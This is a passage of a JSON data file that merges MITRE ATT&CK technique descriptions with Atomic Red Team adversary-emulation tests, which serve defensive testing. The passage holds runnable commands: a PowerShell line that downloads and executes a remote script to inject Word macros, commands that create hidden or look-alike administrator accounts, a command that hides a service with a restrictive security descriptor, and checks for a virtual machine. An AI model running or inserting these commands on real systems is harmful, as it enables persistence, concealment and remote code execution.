- "command": "$macro = [System.IO.File]::ReadAllText(\"PathToAtomicsFolder\\T1564\\src\\T1564-macrocode.txt\")\n$macro = $macro -replace \"aREPLACEMEa\", \"PathToAtomicsFolder\\T1564\\bin\\extractme.bin\"\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\nInvoke-Maldoc -macroCode \"$macro\" -officeProduct \"Word\" -sub \"Extract\" -NoWrap\n",
- "cleanup_command": "Remove-Item \"$env:TEMP\\extracted.exe\" -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "Create a Hidden User Called \"$\"",
- "auto_generated_guid": "2ec63cc2-4975-41a6-bf09-dffdfb610778",
- "description": "Creating a user with a username containing \"$\"",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "name": "command_prompt",
- "elevation_required": true,
- "command": "net user $ ATOMIC123! /add /active:yes",
- "cleanup_command": "net user $ /DELETE 2>&1"
- }
- },
- {
- "name": "Create an \"Administrator \" user (with a space on the end)",
- "auto_generated_guid": "5bb20389-39a5-4e99-9264-aeb92a55a85c",
- "description": "Creating a user with a username containing with a space on the end",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": true,
- "command": "New-LocalUser -Name \"Administrator \" -NoPassword",
- "cleanup_command": "Remove-LocalUser -Name \"Administrator \" 2>&1 | out-null"
- }
- },
- {
- "name": "Create and Hide a Service with sc.exe",
- "auto_generated_guid": "333c7de0-6fbe-42aa-ac2b-c7e40b18246a",
- "description": "The following technique utilizes sc.exe and sdset to change the security descriptor of a service and \"hide\" it from Get-Service or sc query.\n\nUpon successful execution, sc.exe creates a new service changes the security descriptor.\n\nhttps://twitter.com/Alh4zr3d/status/1580925761996828672\nhttps://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-string-format\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "service_name": {
- "description": "Name of service to create",
- "type": "string",
- "default": "AtomicService"
- },
- "executable_command": {
- "description": "Command to execute as a service",
- "type": "string",
- "default": "C:\\Windows\\System32\\calc.exe"
- }
- },
- "executor": {
- "command": "sc.exe create #{service_name} binPath= \"#{executable_command}\"\nsc sdset #{service_name} \"D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)\"\n",
- "cleanup_command": "sc sdset #{service_name} \"D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)\"\nsc.exe delete #{service_name}\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1484.002": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Azure AD"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Blake Strom, Microsoft 365 Defender"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee",
- "type": "attack-pattern",
- "created": "2020-12-28T21:59:02.181Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1484.002",
- "url": "https://attack.mitre.org/techniques/T1484/002"
- },
- {
- "source_name": "Microsoft - Azure AD Federation",
- "url": "https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed",
- "description": "Microsoft. (2018, November 28). What is federation with Azure AD?. Retrieved December 30, 2020."
- },
- {
- "source_name": "Microsoft - Azure Sentinel ADFSDomainTrustMods",
- "url": "https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml",
- "description": "Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020."
- },
- {
- "source_name": "Sygnia Golden SAML",
- "url": "https://www.sygnia.co/golden-saml-advisory",
- "description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021."
- },
- {
- "source_name": "CISA SolarWinds Cloud Detection",
- "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-008a",
- "description": "CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021."
- },
- {
- "source_name": "Microsoft - Update or Repair Federated domain",
- "url": "https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365",
- "description": "Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020."
- }
- ],
- "modified": "2021-01-11T18:21:20.213Z",
- "name": "Domain Trust Modification",
- "description": "Adversaries may add new domain trusts or modify the properties of existing domain trusts to evade defenses and/or elevate privileges. Domain trust details, such as whether or not a domain is federated, allow authentication and authorization properties to apply between domains for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.\n\nManipulating the domain trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002), without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain
and Set domain authentication
.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)\n\nMonitor for PowerShell commands such as: Update-MSOLFederatedDomain \u2013DomainName: \"Federated Domain Name\"
, or Update-MSOLFederatedDomain \u2013DomainName: \"Federated Domain Name\" \u2013supportmultipledomain
.(Citation: Microsoft - Update or Repair Federated domain)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Active Directory: Active Directory Object Modification",
- "Active Directory: Active Directory Object Creation",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ],
- "identifier": "T1484.002"
- },
- "atomic_tests": []
- },
- "T1527": {
- "technique": {
- "x_mitre_platforms": [
- "SaaS",
- "Office 365"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Jen Burns, HubSpot",
- "Mark Wee",
- "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)",
- "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)",
- "Shailesh Tiwary (Indian Army)"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--27960489-4e7f-461d-a62a-f5c0cb521e4a",
- "type": "attack-pattern",
- "created": "2019-08-30T12:55:58.607Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "url": "https://attack.mitre.org/techniques/T1527",
- "external_id": "T1527",
- "source_name": "mitre-attack"
- },
- {
- "description": "Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.",
- "url": "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/",
- "source_name": "Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019"
- },
- {
- "description": "okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved September 12, 2019.",
- "url": "https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen",
- "source_name": "okta"
- },
- {
- "description": "Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27). Microsoft identity platform access tokens. Retrieved October 4, 2019.",
- "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens",
- "source_name": "Microsoft Identity Platform Access 2019"
- },
- {
- "description": "Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure. Retrieved October 4, 2019.",
- "url": "https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/",
- "source_name": "Staaldraad Phishing with OAuth 2017"
- }
- ],
- "modified": "2021-09-20T16:50:41.832Z",
- "name": "Application Access Token",
- "description": "Adversaries may use application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim\u2019s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.\n",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- }
- ],
- "x_mitre_detection": "Monitor access token activity for abnormal use and permissions granted to unusual or suspicious applications. Administrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Multi-Factor Authentication",
- "Logon Credentials"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1562.009": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Jorell Magtibay, National Australia Bank Limited",
- "Kiyohito Yamamoto, RedLark, NTT Communications",
- "Yusuke Kubo, RedLark, NTT Communications"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--28170e17-8384-415c-8486-2e6b294cb803",
- "type": "attack-pattern",
- "created": "2021-06-23T20:00:27.600Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1562.009",
- "url": "https://attack.mitre.org/techniques/T1562/009"
- },
- {
- "source_name": "Microsoft Safe Mode",
- "url": "https://support.microsoft.com/en-us/windows/start-your-pc-in-safe-mode-in-windows-10-92c27cff-db89-8644-1ce4-b3e5e56fe234",
- "description": "Microsoft. (n.d.). Start your PC in safe mode in Windows 10. Retrieved June 23, 2021."
- },
- {
- "source_name": "Sophos Snatch Ransomware 2019",
- "url": "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/",
- "description": "Sophos. (2019, December 9). Snatch ransomware reboots PCs into Safe Mode to bypass protection. Retrieved June 23, 2021."
- },
- {
- "source_name": "Microsoft bcdedit 2021",
- "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bcdedit",
- "description": "Microsoft. (2021, May 27). bcdedit. Retrieved June 23, 2021."
- },
- {
- "source_name": "CyberArk Labs Safe Mode 2016",
- "url": "https://www.cyberark.com/resources/blog/cyberark-labs-from-safe-mode-to-domain-compromise",
- "description": "Naim, D.. (2016, September 15). CyberArk Labs: From Safe Mode to Domain Compromise. Retrieved June 23, 2021."
- },
- {
- "source_name": "Cybereason Nocturnus MedusaLocker 2020",
- "url": "https://www.cybereason.com/blog/medusalocker-ransomware",
- "description": "Cybereason Nocturnus. (2020, November 19). Cybereason vs. MedusaLocker Ransomware. Retrieved June 23, 2021."
- },
- {
- "source_name": "BleepingComputer REvil 2021",
- "url": "https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/",
- "description": "Abrams, L. (2021, March 19). REvil ransomware has a new \u2018Windows Safe Mode\u2019 encryption mode. Retrieved June 23, 2021."
- },
- {
- "source_name": "Microsoft Bootcfg",
- "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/bootcfg",
- "description": "Gerend, J. et al. (2017, October 16). bootcfg. Retrieved August 30, 2021."
- }
- ],
- "modified": "2021-08-31T14:51:47.352Z",
- "name": "Safe Mode Boot",
- "description": "Adversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.(Citation: Microsoft Safe Mode)(Citation: Sophos Snatch Ransomware 2019)\n\nAdversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.(Citation: Microsoft bcdedit 2021)\n\nAdversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)). Malicious [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) objects may also be registered and loaded in safe mode.(Citation: Sophos Snatch Ransomware 2019)(Citation: CyberArk Labs Safe Mode 2016)(Citation: Cybereason Nocturnus MedusaLocker 2020)(Citation: BleepingComputer REvil 2021)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Monitor Registry modification and additions for services that may start on safe mode. For example, a program can be forced to start on safe mode boot by adding a \\*
in front of the \"Startup\" value name: HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\[\"\\*Startup\"=\"{Path}\"]
or by adding a key to HKLM\\SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\Minimal
.(Citation: BleepingComputer REvil 2021)(Citation: Sophos Snatch Ransomware 2019)\n\nMonitor execution of processes and commands associated with making configuration changes to boot settings, such as bcdedit.exe
and bootcfg.exe
.(Citation: Microsoft bcdedit 2021)(Citation: Microsoft Bootcfg)(Citation: Sophos Snatch Ransomware 2019)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Windows Registry: Windows Registry Key Modification",
- "Process: Process Creation",
- "Command: Command Execution",
- "Windows Registry: Windows Registry Key Creation"
- ],
- "x_mitre_defense_bypassed": [
- "Host Intrusion Prevention Systems",
- "Anti-virus"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1542.005": {
- "technique": {
- "x_mitre_platforms": [
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--28abec6c-4443-4b03-8206-07f2e264a6b4",
- "type": "attack-pattern",
- "created": "2020-10-20T00:06:56.180Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1542.005",
- "url": "https://attack.mitre.org/techniques/T1542/005"
- },
- {
- "source_name": "Cisco Blog Legacy Device Attacks",
- "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954",
- "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."
- },
- {
- "source_name": "Cisco IOS Software Integrity Assurance - Secure Boot",
- "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#35",
- "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Secure Boot. Retrieved October 19, 2020."
- },
- {
- "source_name": "Cisco IOS Software Integrity Assurance - Image File Verification",
- "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7",
- "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020."
- },
- {
- "source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification",
- "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13",
- "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020."
- },
- {
- "source_name": "Cisco IOS Software Integrity Assurance - Command History",
- "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#23",
- "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020."
- },
- {
- "source_name": "Cisco IOS Software Integrity Assurance - Boot Information",
- "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#26",
- "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Boot Information. Retrieved October 21, 2020."
- }
- ],
- "modified": "2020-10-22T16:35:53.806Z",
- "name": "TFTP Boot",
- "description": "Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.\n\nAdversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Consider comparing a copy of the network device configuration and system image against a known-good version to discover unauthorized changes to system boot, startup configuration, or the running OS. (Citation: Cisco IOS Software Integrity Assurance - Secure Boot) (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\n\nReview command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration. (Citation: Cisco IOS Software Integrity Assurance - Command History) Check boot information including system uptime, image booted, and startup configuration to determine if results are consistent with expected behavior in the environment. (Citation: Cisco IOS Software Integrity Assurance - Boot Information) Monitor unusual connections or connection attempts to the device that may specifically target TFTP or other file-sharing protocols.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Connection Creation",
- "Command: Command Execution",
- "Firmware: Firmware Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1497.001": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Deloitte Threat Library Team"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6",
- "type": "attack-pattern",
- "created": "2020-03-06T20:57:37.959Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1497.001",
- "url": "https://attack.mitre.org/techniques/T1497/001"
- },
- {
- "source_name": "Deloitte Environment Awareness",
- "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc",
- "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021."
- },
- {
- "source_name": "McAfee Virtual Jan 2017",
- "url": "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/",
- "description": "Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual Machine. Retrieved April 17, 2019."
- },
- {
- "source_name": "Unit 42 OilRig Sept 2018",
- "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.",
- "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/"
- }
- ],
- "modified": "2021-10-18T14:57:07.973Z",
- "name": "Virtualization/Sandbox Evasion: System Checks",
- "description": "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nSpecific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment. \n\nChecks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. \n\nOther common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. \n \nHardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_detection": "Virtualization/sandbox related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "2.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: OS API Execution",
- "Process: Process Creation"
- ],
- "x_mitre_defense_bypassed": [
- "Static File Analysis",
- "Signature-based detection",
- "Host forensic analysis",
- "Anti-virus"
- ],
- "identifier": "T1497.001"
- },
- "atomic_tests": [
- {
- "name": "Detect Virtualization Environment (Windows)",
- "auto_generated_guid": "502a7dc4-9d6f-4d28-abf2-f0e84692562d",
- "description": "Windows Management Instrumentation(WMI) objects contains system information which helps to detect virtualization. This command will specifically attempt to get the CurrentTemperature value from this object and will check to see if the attempt results in an error that contains the word supported. This is meant to find the result of Not supported, which is the result if run in a virtual machine\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": false,
- "command": "$error.clear()\nGet-WmiObject -Query \"SELECT * FROM MSAcpi_ThermalZoneTemperature\" -ErrorAction SilentlyContinue\nif($error) {echo \"Virtualization Environment detected\"}\n",
- "cleanup_command": "$error.clear()\n"
- }
- },
- {
- "name": "Detect Virtualization Environment via WMI Manufacturer/Model Listing (Windows)",
- "auto_generated_guid": "4a41089a-48e0-47aa-82cb-5b81a463bc78",
- "description": "Windows Management Instrumentation(WMI) objects contain system information which helps to detect virtualization. This test will get the model and manufacturer of the machine to determine if it is a virtual machine, such as through VMware or VirtualBox. \n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": false,
- "command": "$Manufacturer = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty \"Manufacturer\"\n$Model = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty \"Model\"\nif((($Manufacturer.ToLower() -eq \"microsoft corporation\") -and ($Model.ToLower().contains(\"virtual\"))) -or ($Manufacturer.ToLower().contains(\"vmware\")) -or ($Model.ToLower() -eq \"virtualbox\")) {write-host \"Virtualization environment detected!\"} else {write-host \"No virtualization environment detected!\"}\n"
- }
- }
- ]
- },
- "T1070.002": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--2bce5b30-7014-4a5d-ade7-12913fe6ac36",
- "type": "attack-pattern",
- "created": "2020-01-28T17:11:54.034Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1070.002",
- "url": "https://attack.mitre.org/techniques/T1070/002"
- },
- {
- "source_name": "Linux Logs",
- "url": "https://www.eurovps.com/blog/important-linux-log-files-you-must-be-monitoring/",
- "description": "Marcel. (2018, April 19). 12 Critical Linux Log Files You Must be Monitoring. Retrieved March 29, 2020."
- }
- ],
- "modified": "2020-03-29T21:23:51.886Z",
- "name": "Indicator Removal on Host: Clear Linux or Mac System Logs",
- "description": "Adversaries may clear system logs to hide evidence of an intrusion. macOS and Linux both keep track of system or user-initiated actions via system logs. The majority of native system logging is stored under the /var/log/
directory. Subfolders in this directory categorize logs by their related functions, such as:(Citation: Linux Logs)\n\n* /var/log/messages:
: General and system-related messages\n* /var/log/secure
or /var/log/auth.log
: Authentication logs\n* /var/log/utmp
or /var/log/wtmp
: Login records\n* /var/log/kern.log
: Kernel logs\n* /var/log/cron.log
: Crond logs\n* /var/log/maillog
: Mail server logs\n* /var/log/httpd/
: Web server access and error logs\n",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "File system monitoring may be used to detect improper deletion or modification of indicator files. Also monitor for suspicious processes interacting with log files.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Modification",
- "File: File Deletion",
- "Command: Command Execution"
- ],
- "identifier": "T1070.002"
- },
- "atomic_tests": []
- },
- "T1218.004": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Travis Smith, Tripwire",
- "Casey Smith"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--2cd950a6-16c4-404a-aa01-044322395107",
- "type": "attack-pattern",
- "created": "2020-01-23T19:09:48.811Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1218.004",
- "url": "https://attack.mitre.org/techniques/T1218/004"
- },
- {
- "source_name": "MSDN InstallUtil",
- "description": "Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved July 1, 2016.",
- "url": "https://msdn.microsoft.com/en-us/library/50614e95.aspx"
- },
- {
- "source_name": "LOLBAS Installutil",
- "url": "https://lolbas-project.github.io/lolbas/Binaries/Installutil/",
